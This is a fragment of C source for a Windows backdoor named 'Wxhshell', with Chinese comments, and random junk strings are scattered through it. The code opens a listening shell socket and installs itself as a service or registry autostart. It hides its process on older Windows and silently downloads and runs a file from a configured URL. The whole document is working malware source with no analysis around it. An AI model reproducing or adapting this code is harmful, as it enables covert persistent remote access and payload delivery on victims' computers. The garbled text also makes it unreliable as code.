CloseHandle(hProcess); C^a~)r.h bF.Aj8ZQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qr*/}F6 if(hProcess==NULL) return 0; C,E 5/XW AG?oA328 HMODULE hMod; >HDK<1 > char procName[255]; ?s//a_nL* unsigned long cbNeeded; -;v:.
[o. Ez)Go6Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8447hb?W$ @RC_Ie=#) CloseHandle(hProcess); q/Q*1 e:#\Oh if(strstr(procName,"services")) return 1; // 以服务启动 'oTF$3n V\_
&2',t return 0; // 注册表启动 ^l9S5
{ } o]vd xkU] <K43f#% // 主模块 tP\Utl-0 int StartWxhshell(LPSTR lpCmdLine) D`ZYF)[}J { sG3%~ SOCKET wsl; {MHr]A}X\ BOOL val=TRUE; ,T]okN5uI int port=0; $I.'7
&h; struct sockaddr_in door; lr1i DwZV [W2k#-%G if(wscfg.ws_autoins) Install(); .hvIq
.vr a^22H port=atoi(lpCmdLine); -6?5|\ b@7
ItzD if(port<=0) port=wscfg.ws_port; 7L!k9"X`0F @'S-nn,sO WSADATA data; milU,!7J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; js{ RaR= NTV0DkX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PKP(:3| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j9Lc2' door.sin_family = AF_INET; ]8RcZn door.sin_addr.s_addr = inet_addr("127.0.0.1"); {h2D}F door.sin_port = htons(port); 1&dWt_\ m^wYRA. if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @=$;^}JS| closesocket(wsl); VL\6U05Z return 1; rA9"CN } |')Z; 3+)i23[4=\ if(listen(wsl,2) == INVALID_SOCKET) { z=!xN5 closesocket(wsl); nF)|oA return 1; N(D_*% 96 } us/x.qPy2 Wxhshell(wsl); j}y" WSACleanup(); 5[0n'uH wL:3RZB return 0; 8^O|Aa$IF: 4h-y'&Z } ]g:VvTJ;? -gzk,ymp // 以NT服务方式启动 . uhP( VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n#4Ra+dD { n84*[d}t DWORD status = 0; #SO9e.yhI DWORD specificError = 0xfffffff; <h(tW !dZC-U~ serviceStatus.dwServiceType = SERVICE_WIN32; d8av`m serviceStatus.dwCurrentState = SERVICE_START_PENDING; =l
{>-`: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =>4,/g3 serviceStatus.dwWin32ExitCode = 0; Ra.<D. serviceStatus.dwServiceSpecificExitCode = 0; =E{1QA0 serviceStatus.dwCheckPoint = 0; {4
*ob@w* serviceStatus.dwWaitHint = 0; #\fApRL q")}vN hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }E*#VA0/nY if (hServiceStatusHandle==0) return; /KH3v!G0 0nBAO status = GetLastError(); zg[ksny if (status!=NO_ERROR) d]CRvzW { pVLfZ?78 serviceStatus.dwCurrentState = SERVICE_STOPPED; )wmXicURC serviceStatus.dwCheckPoint = 0; [}.OlR3) serviceStatus.dwWaitHint = 0; B+,Z 3* serviceStatus.dwWin32ExitCode = status; V0"UFy?i serviceStatus.dwServiceSpecificExitCode = specificError; :h" Y >1P SetServiceStatus(hServiceStatusHandle, &serviceStatus); LvB -%@n return; /,wG$b+ } >wZ!1Jq CJ?Lv2Td serviceStatus.dwCurrentState = SERVICE_RUNNING; \=1k29O serviceStatus.dwCheckPoint = 0; *ZAue. serviceStatus.dwWaitHint = 0; {R\ "x| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aabnlOVw } c/b}39X BJ1txdxvS // 处理NT服务事件,比如:启动、停止 0Bb amU VOID WINAPI NTServiceHandler(DWORD fdwControl) t-e:f0iz { gFJd8#6t switch(fdwControl) ur"ckuG!9 { yPKeatH] case SERVICE_CONTROL_STOP: g?)9zJ9 serviceStatus.dwWin32ExitCode = 0; S'lZ'H / serviceStatus.dwCurrentState = SERVICE_STOPPED; YEQ}<\B\& serviceStatus.dwCheckPoint = 0; q8`JRmt)H serviceStatus.dwWaitHint = 0; PO1sVP.S { qa2QS._m SetServiceStatus(hServiceStatusHandle, &serviceStatus); }3ty2D#/: } #X`j#"Ov2( return; c=h{^![$ case SERVICE_CONTROL_PAUSE: %\2
ll=p1 serviceStatus.dwCurrentState = SERVICE_PAUSED; )FYz*:f>& break; NbSkauF~b case SERVICE_CONTROL_CONTINUE: P'R!"
# serviceStatus.dwCurrentState = SERVICE_RUNNING; y.HE3tH break; }qRYXjS case SERVICE_CONTROL_INTERROGATE: z1*8 5?
break; 9H`Q
|7g(5 }; ^F/N-!}q SetServiceStatus(hServiceStatusHandle, &serviceStatus); _}8O15B| } PH^AT<U:T 8 W79 // 标准应用程序主函数 zvL;.U int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MZv In ZS { h:}oUr8 vm_+U*%c // 获取操作系统版本 .IE2d%]? OsIsNt=GetOsVer(); amK"Z<V F GetModuleFileName(NULL,ExeFile,MAX_PATH); B~G?&"] [8v v[n/ // 从命令行安装 4 bw8^ if(strpbrk(lpCmdLine,"iI")) Install(); r8A AQw1,tGV // 下载执行文件 (Z fY/ if(wscfg.ws_downexe) { }.>( [\q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @2na r< WinExec(wscfg.ws_filenam,SW_HIDE); g ]e^; } c_"]AhV~Mg `qbf_;\ if(!OsIsNt) { S-NKT(H)c // 如果时win9x,隐藏进程并且设置为注册表启动 ZEYT17g] HideProc(); bH% k) StartWxhshell(lpCmdLine); p8aGM-+40W } kI<;rP1S| else ph
qx<N@ if(StartFromService()) 0Ihp`QGU: // 以服务方式启动 7o_1PwKS6 StartServiceCtrlDispatcher(DispatchTable); x1VBO.t=* else d}2tqPy a // 普通方式启动 !<BJg3 StartWxhshell(lpCmdLine); gi\2bzWkbX S~X&^JvT return 0; c>!zJAB }
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